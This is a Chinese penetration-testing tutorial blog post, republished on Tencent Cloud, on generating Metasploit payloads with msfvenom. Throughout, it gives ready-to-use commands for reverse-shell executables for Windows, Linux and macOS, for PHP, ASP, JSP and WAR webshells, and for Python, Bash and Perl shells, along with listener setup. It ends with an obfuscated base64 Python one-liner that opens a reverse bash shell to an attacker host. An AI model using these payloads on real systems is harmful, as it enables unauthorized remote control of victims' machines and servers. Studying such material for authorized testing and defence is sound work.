生成msf常用payload

msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。

在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:

msfvenom -l

生成二进制文件

关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

如何利用

针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe > shell.exe

复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:

msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.88.128 set LPORT 4444 set ExitOnSession false exploit -j -z

执行完之后在Windows下执行shell.exe,然后结果如图:

在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:

  • 双击运行
  • cmd下运行exe
  • 利用Powershell远程下载执行
  • 利用at或schtasks设置计划任务执行
  • 利用wmic远程命令执行
  • 其他的方式请各位补充

生成webshell脚本

在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

如何利用

下面以php为例做一下测试,使用以下命令生成一个webshell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php

在kali上使用msf执行下面的命令,监听端口4444:

msfconsole use exploit/multi/handler set PAYLOAD php/meterpreter_reverse_tcp set LHOST 192.168.88.128 set LPORT 4444 set ExitOnSession false exploit -j -z

将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

php shell.php

脚本shell

关于使用脚本反弹shell的方式,主要以python、bash、perl为例。

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

如何使用

下面就以Python为例做一下测试,使用以下命令生成一个脚本:

msfvenom -p cmd/unix/reverse_python LHOST=192.168.88.128 LPORT=4444 -f raw > shell.py

在kali上使用msf执行下面的命令,监听端口4444:

msfconsole use exploit/multi/handler set PAYLOAD cmd/unix/reverse_python set LHOST 192.168.88.128 set LPORT 4444 set ExitOnSession false exploit -j -z

然后复制shell.py中的内容在linux命令行下执行,如下:

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

结果如图:

总结

本文的主要内容是关于使用msfvenom生成常用的反向连接的shell,msfvenom可以生成的shell很多,不可能一一列举,这里只是提一下,不好意思又给大家分享了一个水文,请大家凑活看看,有什么建议和意见请下方留言。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-08-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏应用案例

Hexo博客的安装部署及多电脑同步

Hexo安装教程很多,我这里尽可能的讲的细一些,把容易踩坑的地方以及后期多电脑同步所遇到的问题列出来,以便给自己及大家参考。本文主要讲解安装部署后源文件同步问题...

1.3K7
来自专栏jeremy的技术点滴

学习etcd

4605
来自专栏黑白安全

8种DOS命令

  它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:...

2082
来自专栏分布式系统进阶

Zookeeper运维问题集锦

2251
来自专栏24K纯开源

Mac OS平台下应用程序安装包制作工具Packages的使用介绍

一、介绍 2017/12/05更新:packages下载地址:http://s.sudre.free.fr/Software/Packages/resour...

6397
来自专栏软件开发 -- 分享 互助 成长

source insigt、pc-lint、VS联合使用

前言:     近几天参加公司培训,公司要求,开发的时候使用source insight、PC-lint和VC来编程和调试,这不用不知道,一用吓一跳,这套工具一...

3199
来自专栏opengps

电脑网正常,除了IE之外其他浏览器都能正常上网,IE不能上网解决办法

最近莫名其妙发现IE不能上网,其他浏览器正常,其他应用也都正常 最终发现问题出在IE代理上 解决办法如下图: 1,设置 2,连接 3,局域网设置 4,只勾选自动...

4117
来自专栏MoeLove

Composer 使用技巧简述

上述代码执行完成后, 只是下载到了 composer.phar 文件, 可以通过 php composer.phar 在任意位置执行.

1145
来自专栏电光石火

MySQL服务无法正常启动的解决方法(1053错误)

今天我重启了服务器,这下杯具了.mysql一直报1053错误:服务没有及时响应启动或控制请求.我用结束进城和重启服务器方法都无法正常启动.重装MySQL服务...

3546
来自专栏LIN_ZONE

Linux各目录及每个目录的详细介绍(转载)

Linux目录和Windows目录有着很大的不同,Linux目录类似一个树,最顶层是其根目录,如下图:

1262

扫码关注云+社区

领取腾讯云代金券